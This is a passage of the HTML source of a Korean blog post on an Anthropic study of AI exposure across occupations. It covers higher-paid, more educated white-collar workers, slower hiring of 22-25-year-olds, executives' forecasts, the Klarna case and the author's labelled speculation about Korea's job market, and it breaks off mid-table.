&lt;p data-ke-size=&quot;size8&quot;&gt;Anthropic 연구에 따르면, AI에 가장 많이 노출된 직종의 종사자들은 다음과 같은 특징을 보인다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0 25px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 12px 15px; text-align: left; font-weight: bold; color: #1a3a52;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; font-weight: bold; color: #1a3a52;&quot;&gt;고노출 직종&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; font-weight: bold; color: #1a3a52;&quot;&gt;미노출 직종 대비&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;&lt;b&gt;평균 임금&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;높음&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; color: #ee2323; font-weight: bold;&quot;&gt;47% 더 높음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;&lt;b&gt;여성 비율&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;높음&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; color: #ee2323; font-weight: bold;&quot;&gt;16%p 더 높음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;&lt;b&gt;대학원 학위 보유율&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;매우 높음&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; color: #ee2323; font-weight: bold;&quot;&gt;약 4배 높음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;&lt;b&gt;연령대&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;상대적으로 높음&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;--&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;font-size: 13px; color: #888; margin-top: -15px;&quot; data-ke-size=&quot;size8&quot;&gt;(출처: Anthropic Research 원문)&lt;/p&gt;
&lt;h3 style=&quot;color: #1a3a52; font-size: 20px; margin-top: 30px;&quot; data-ke-size=&quot;size23&quot;&gt;통념을 뒤집는 데이터&lt;/h3&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;이건 기존의 &quot;AI = 저숙련 일자리 위협&quot;이라는 통념을 완전히 뒤집는 데이터다. 산업혁명 때 기계가 공장 노동자를 대체했고, 자동화가 제조업 일자리를 줄였다. 그래서 대부분의 사람들이 &quot;AI도 저숙련 일자리를 먼저 위협하겠지&quot;라고 생각한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;하지만 LLM 기술의 특성은 정반대다. LLM은 &quot;언어와 텍스트&quot;를 다루는 기술이다. 언어와 텍스트를 가장 많이 다루는 직업은 바로 &lt;b&gt;고학력 사무직&lt;/b&gt;이다. 코드를 짜고, 보고서를 쓰고, 이메일을 보내고, 데이터를 분석하는 사람들이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;AI가 가장 먼저 위협하는 건 저임금 단순 노동이 아니라, 고학력 고임금 사무직이다.&lt;/b&gt;&lt;/span&gt; 이것이 &quot;화이트칼라 대불황&quot;이라는 표현이 나온 배경이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;CBS News 보도에 따르면, 이는 기존 연구 결과와도 일치한다. &lt;b&gt;여성이 주도하는 직종(women-dominated occupations)이 AI 자동화에 더 취약하다&lt;/b&gt;는 점은, 고용 평등의 관점에서도 중요한 시사점이다. AI로 인한 일자리 변화가 특정 성별에 불균형한 영향을 미칠 수 있다는 뜻이기 때문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; padding: 20px; border-radius: 12px; border-left: 4px solid #ffc107; margin: 15px 0 25px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;한 가지 중요한 맥락&lt;/b&gt;&lt;br /&gt;&quot;안전한 직종&quot;이라고 해서 영원히 안전하다는 뜻은 아니다. 로봇 기술과 AI의 결합이 진행되면, 물리적 업무도 자동화 범위에 들어올 수 있다. 다만 현재 LLM 기술의 특성상, &lt;b&gt;텍스트/코드/데이터를 다루는 직종이 먼저 영향을 받는다&lt;/b&gt;는 것이 이 보고서의 핵심 메시지다. 5년 뒤, 10년 뒤에는 이 리스트가 완전히 달라질 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- ============================================ --&gt; &lt;!-- 5. 젊은 층에게 더 가혹한 이유 --&gt; &lt;!-- ============================================ --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #1a3a52; font-size: 24px; margin-top: 50px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff;&quot; data-ke-size=&quot;size26&quot;&gt;5. 젊은 층에게 더 가혹한 이유&lt;/h2&gt;
&lt;h3 style=&quot;color: #1a3a52; font-size: 20px; margin-top: 30px;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;22~25세 채용 감소 데이터&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;보고서에서 가장 우려스러운 부분이다. 전체 노동시장에서는 아직 체계적인 실업 증가가 관측되지 않았지만, &lt;b&gt;젊은 층에게서는 이미 뚜렷한 신호가 나타나고 있다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; padding: 20px; border-radius: 12px; border-left: 4px solid #dc3545; margin: 15px 0 25px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 12px 0;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;22~25세 청년층 데이터&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 0 20px; padding: 0; line-height: 2.0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;AI 노출 직종에서 &lt;b&gt;구직률(job finding rate)이 ChatGPT 등장 전(2022년) 대비 약 14% 하락&lt;/b&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Brynjolfsson et al. 연구에서도 22~25세의 AI 노출 직종 &lt;b&gt;고용이 약 16% 감소&lt;/b&gt;한 것으로 나타남&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;다만, 연구진은 이 수치가 &lt;b&gt;&quot;겨우 통계적으로 유의미한(just barely statistically significant)&quot; 수준&lt;/b&gt;이라고 밝힘&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;14~16%라는 수치 자체는 아직 결정적이지 않을 수 있다. 통계적 유의성이 경계선 수준이라는 연구진의 솔직한 고백도 있다. 하지만 방향성 자체는 일관된다: &lt;b&gt;AI 노출이 높은 직종에서, 젊은 신규 인력의 채용이 줄고 있다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;채용이 줄었다고 해서 이 청년들이 전부 실업자가 되는 건 아니다. 연구진은 이들의 경로를 세 가지로 분석했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 0 20px; padding: 0; line-height: 2.0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;기존 직장에 머물기&lt;/b&gt; -- 이직을 포기하고 현재 위치에 머무는 경우. 더 나은 기회를 찾지 못하기 때문.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;다른 직종으로 이동&lt;/b&gt; -- AI 노출이 높은 직종 대신 다른 분야에 취업. 원래 희망했던 경력 경로와 달라지는 문제.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;학교로 복귀&lt;/b&gt; -- 대학원, 부트캠프 등 추가 교육으로 경쟁력 확보를 시도. 그러나 이것이 실질적으로 도움이 되는지는 불확실.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;세 가지 경로 모두 &quot;해당 직종에서의 경력 시작 기회가 줄었다&quot;는 사실은 변하지 않는다. 특히 미국 CPS(Current Population Survey) 데이터의 특성상, 노동시장에 진입하기 전인 사람들은 &quot;실업자&quot;로 분류되지 않기 때문에, 채용 둔화가 실업률 통계에 잘 잡히지 않는다는 구조적 문제도 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #1a3a52; font-size: 20px; margin-top: 30px;&quot; data-ke-size=&quot;size23&quot;&gt;&quot;학습 기회의 박탈&quot; 문제&lt;/h3&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;이 부분이 장기적으로 더 심각할 수 있다. 초급(Entry-level) 포지션은 단순히 &quot;첫 월급을 받는 자리&quot;가 아니다. &lt;b&gt;직업적 역량을 쌓는 학습의 장&lt;/b&gt;이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 0 20px; padding: 0; line-height: 2.0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;주니어 프로그래머가 버그를 직접 잡아보면서 디버깅 능력을 키운다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;신입 마케터가 데이터를 직접 분석하면서 시장 감각을 익힌다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;초급 금융 분석가가 보고서를 직접 작성하면서 산업 이해도를 높인다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;초급 변호사가 계약서를 직접 검토하면서 법적 판단력을 훈련한다&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;AI가 이런 초급 업무를 대신하면, 기업 입장에서는 비용 절감이지만, &lt;b&gt;젊은 인력은 역량을 쌓을 기회 자체를 잃는다.&lt;/b&gt; 이건 일종의 &quot;역량 사다리의 첫 번째 칸이 사라지는&quot; 현상이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;10년 뒤를 상상해보자. 지금의 주니어가 시니어가 되어야 하는 시점인데, 주니어 경험 없이 바로 시니어 역할을 해야 한다면? AI가 초급 업무를 대체한 결과, &lt;b&gt;중간 레벨의 전문 인력이 부족해지는 역설&lt;/b&gt;이 발생할 수 있다. Dario Amodei가 &quot;초급 화이트칼라 일자리의 50%가 1~5년 내에 사라질 수 있다&quot;고 경고한 것은 단순한 일자리 수의 문제가 아니라, 이 &lt;b&gt;&quot;학습 사다리&quot;가 무너지는 구조적 문제&lt;/b&gt;를 지적한 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #1a3a52; font-size: 20px; margin-top: 30px;&quot; data-ke-size=&quot;size23&quot;&gt;기업 리더들의 발언&lt;/h3&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 15px 0 25px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 12px 0;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;기업 리더들의 AI와 일자리에 대한 발언&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 0 20px; padding: 0; line-height: 2.0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Dario Amodei (Anthropic CEO)&lt;/b&gt;: &quot;AI가 1~5년 내에 초급 화이트칼라 일자리의 50%를 파괴할 수 있다&quot;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Mustafa Suleyman (Microsoft AI 수장)&lt;/b&gt;: &quot;대부분의 전문직 업무가 1년에서 18개월 내에 대체될 것&quot;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Jack Dorsey (Block CEO)&lt;/b&gt;: &quot;AI 도구가 일하는 방식을 근본적으로 바꾸고, 회사를 만들고 운영하는 것의 의미 자체를 변화시킨다&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin: 10px 0 0 0; font-size: 13px; color: #888;&quot; data-ke-size=&quot;size8&quot;&gt;(출처: Fortune 2026.03.06, Axios 2025.05.28)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #1a3a52; font-size: 20px; margin-top: 30px;&quot; data-ke-size=&quot;size23&quot;&gt;Klarna 사례: 경고가 현실이 된 사례&lt;/h3&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;스웨덴 핀테크 기업 Klarna의 CEO Sebastian Siemiatkowski는 Amodei의 경고에 동의했다. Fortune 보도(2026.02.17)에 따르면, Siemiatkowski는 &lt;b&gt;Klarna의 화이트칼라 인력이 2030년까지 1/3로 줄어들 것&lt;/b&gt;이라고 밝혔다. Klarna는 이미 AI를 고객 서비스에 대규모로 도입하여 상담 인력을 크게 줄인 바 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;Klarna 사례는 Anthropic 보고서의 데이터를 현실에서 확인시켜 주는 케이스다. 고객 서비스 담당자(노출도 70%)에 대한 자동화가 실제로 진행되고 있으며, CEO가 공개적으로 추가 감축을 예고하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;기업 리더들 사이에서도 &quot;AI가 일자리를 바꾼다&quot;는 인식은 이미 합의된 수준이다. 문제는 &lt;b&gt;&quot;얼마나 빠르게, 얼마나 많이&quot;&lt;/b&gt;에 대한 견해가 Amodei/Suleyman처럼 극단적인 쪽에서부터, 다보스에서 &quot;아직 과장됐다&quot;고 반박하는 CEO들까지 넓은 스펙트럼을 형성하고 있다는 것이다.&lt;/p&gt;
&lt;!-- ============================================ --&gt; &lt;!-- 6. 한국 노동시장에서의 의미 --&gt; &lt;!-- ============================================ --&gt;
&lt;h2 style=&quot;color: #1a3a52; font-size: 24px; margin-top: 50px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff;&quot; data-ke-size=&quot;size26&quot;&gt;6. 한국 노동시장에서의 의미&lt;/h2&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;이 보고서는 미국 노동시장 데이터 기반이다. 하지만 한국에서도 시사하는 바가 크다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; padding: 20px; border-radius: 12px; border-left: 4px solid #ffc107; margin: 15px 0 25px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;주의&lt;/b&gt;&lt;br /&gt;아래 한국 관련 분석은 Anthropic 보고서의 직접적인 내용이 아니라, 보고서의 프레임워크를 한국 맥락에 적용한 &lt;b&gt;필자의 추정&lt;/b&gt;이다. 한국 특화 데이터는 별도 연구가 필요하다.&lt;/p&gt;
&lt;/div&gt;
&lt;h3 style=&quot;color: #1a3a52; font-size: 20px; margin-top: 30px;&quot; data-ke-size=&quot;size23&quot;&gt;한국에서 특히 주목해야 할 직종&lt;/h3&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;1) IT 개발자&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;한국의 IT 인력 수요는 여전히 높지만, 수요의 성격이 변하고 있다. 기업들이 &quot;AI를 잘 쓰는 시니어&quot;를 원하는 반면, &quot;AI 도구로 대체 가능한 주니어 업무&quot;에 대한 수요는 줄어드는 구조가 될 수 있다. Anthropic 보고서에서 프로그래머 노출도가 75%로 1위를 차지한 것은 한국 개발자들에게도 직접적인 경고다. 특히 한국 IT 업계는 &quot;코딩 테스트&quot; 중심의 채용 문화가 강한데, AI 코딩 도구의 발전으로 단순 코딩 능력의 시장 가치가 하락할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;2) 금융권 사무직&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;금융/투자 분석가의 노출도가 57%다. 한국 금융권은 이미 AI 도입에 적극적이다. 국내 주요 은행과 증권사들은 AI 기반 리포트 생성, 리스크 분석, 고객 상담 챗봇을 빠르게 확대하고 있다. 보고서 작성, 리스크 분석, 고객 상담 등 상당 부분의 업무가 AI 보조 또는 자동화 대상이 될 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;3) 콜센터/고객 서비스&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;고객 서비스 담당자의 노출도 70%는 한국에도 그대로 적용된다. 한국 대기업들은 이미 AI 챗봇과 AI 콜센터를 대규모로 도입하고 있다. 통신사, 은행, 카드사의 고객 서비스 자동화는 이미 상당 수준에 도달했다. Klarna 사례가 한국에서도 반복될 가능성이 높은 영역이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;4) 사무 행정직&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;데이터 입력, 문서 관리, 일정 관리 등 전통적인 사무 행정 업무는 AI 도구의 핵심 적용 영역이다. 한국 기업의 사무 자동화 속도는 미국보다 빠를 수도 있다 -- 한국은 IT 인프라 보급률이 높고, 대기업 중심의 의사결정 구조가 &quot;전사 도입&quot;을 용이하게 만들기 때문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;5) 마케팅/광고 업계&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;시장 조사/마케팅 분석가의 노출도가 65%다. 한국 광고/마케팅 업계는 이미 AI를 활용한 콘텐츠 생성, 타겟 분석, 캠페인 최적화에 적극적이다. 특히 소셜 미디어 마케팅은 AI 도구가 빠르게 침투하는 영역이다. 카피라이팅, 이미지 생성, A/B 테스트 자동화가 일상이 되고 있다.&lt;/p&gt;
&lt;h3 style=&quot;color: #1a3a52; font-size: 20px; margin-top: 30px;&quot; data-ke-size=&quot;size23&quot;&gt;한국만의 특수한 상황&lt;/h3&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 0 20px; padding: 0; line-height: 2.0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;청년 실업률 문제와의 겹침&lt;/b&gt; -- 한국은 이미 청년 고용 문제가 심각하다. AI가 초급 일자리를 줄인다면, 기존의 청년 실업 문제를 더 악화시킬 수 있다. Anthropic 보고서의 &quot;22~25세 채용 둔화&quot; 발견은 한국 청년들에게 이중의 타격이 된다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;높은 대학 진학률&lt;/b&gt; -- 한국의 대학 진학률은 세계 최고 수준이다. Anthropic 보고서가 말하는 &quot;고학력 고임금 화이트칼라&quot;가 가장 위험하다는 결론은, 한국의 많은 대졸 취업 준비생에게 직접적으로 적용된다. 대학에서 4년을 투자한 전공 분야의 일자리가 AI에 의해 구조적으로 줄어들 수 있다는 뜻이다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;빠른 기술 채택 속도&lt;/b&gt; -- 한국은 새로운 기술을 빠르게 도입하는 사회다. 이는 양면이다. AI 도구를 빨리 익히면 경쟁력이 되지만, 기업이 AI를 빨리 도입하면 일자리 구조 변화도 빨라진다. Anthropic 보고서가 보여주는 &quot;이론 94% vs 현실 33%&quot;의 간극이, 한국에서는 더 빠르게 좁혀질 수 있다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;대기업-중소기업 격차&lt;/b&gt; -- AI 도입 속도는 대기업이 훨씬 빠르다. 삼성, LG, SK, 현대 등 대기업 그룹은 이미 자체 AI 전략을 수립하고 실행 중이다. 반면 중소기업은 아직 도입 초기 단계인 경우가 많다. 이 격차가 고용 시장에서 어떤 영향을 미칠지는 아직 미지수다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;공공 부문의 관성&lt;/b&gt; -- 한국 공공 부문과 공기업은 AI 도입이 상대적으로 느리다. 규제와 보안 요구사항이 강하고, 노조의 영향력이 크기 때문이다. 이 영역은 단기적으로는 &quot;안전 지대&quot;가 될 수 있지만, 장기적으로는 민간과의 생산성 격차가 벌어질 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: #1a3a52; font-size: 20px; margin-top: 30px;&quot; data-ke-size=&quot;size23&quot;&gt;산업별 AI 도입 현황과 전망&lt;/h3&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0 25px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 12px 15px; text-align: left; font-weight: bold; color: #1a3a52;&quot;&gt;산업&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; font-weight: bold; color: #1a3a52;&quot;&gt;AI 도입&lt;br /&gt;속도&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 12px 15px; text-align: left; font-weight: bold; color: #1a3a52;&quot;&gt;주요 적용 영역&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; font-weight: bold; color: #1a3a52;&quot;&gt;고용 영향&lt;br /&gt;예상 시기&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;&lt;b&gt;IT/소프트웨어&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;매우 빠름&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;코딩 보조, 테스트 자동화, 코드 리뷰&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;이미 진행 중&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;&lt;b&gt;금융&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;빠름&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;리포트 생성, 리스크 분석, 고객 상담&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;1~2년 내&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;&lt;b&gt;마케팅/광고&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;빠름&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;콘텐츠 생성, 데이터 분석, 캠페인 최적화&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;이미 진행 중&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;&lt;b&gt;고객 서비스&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;빠름&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;챗봇, 음성 AI, 자동 분류&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;이미 진행 중&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;&lt;b&gt;의료&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;보통&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;의무 기록 관리, 영상 분석, 논문 요약&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;2~3년 내&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;&lt;b&gt;법률&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;보통&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;계약서 검토, 판례 검색, 문서 초안&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;2~3년 내&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;&lt;b&gt;제조업&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;느림&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;사무 관리, 품질 보고서, 예지 정비 문서화&lt;/td&gt;
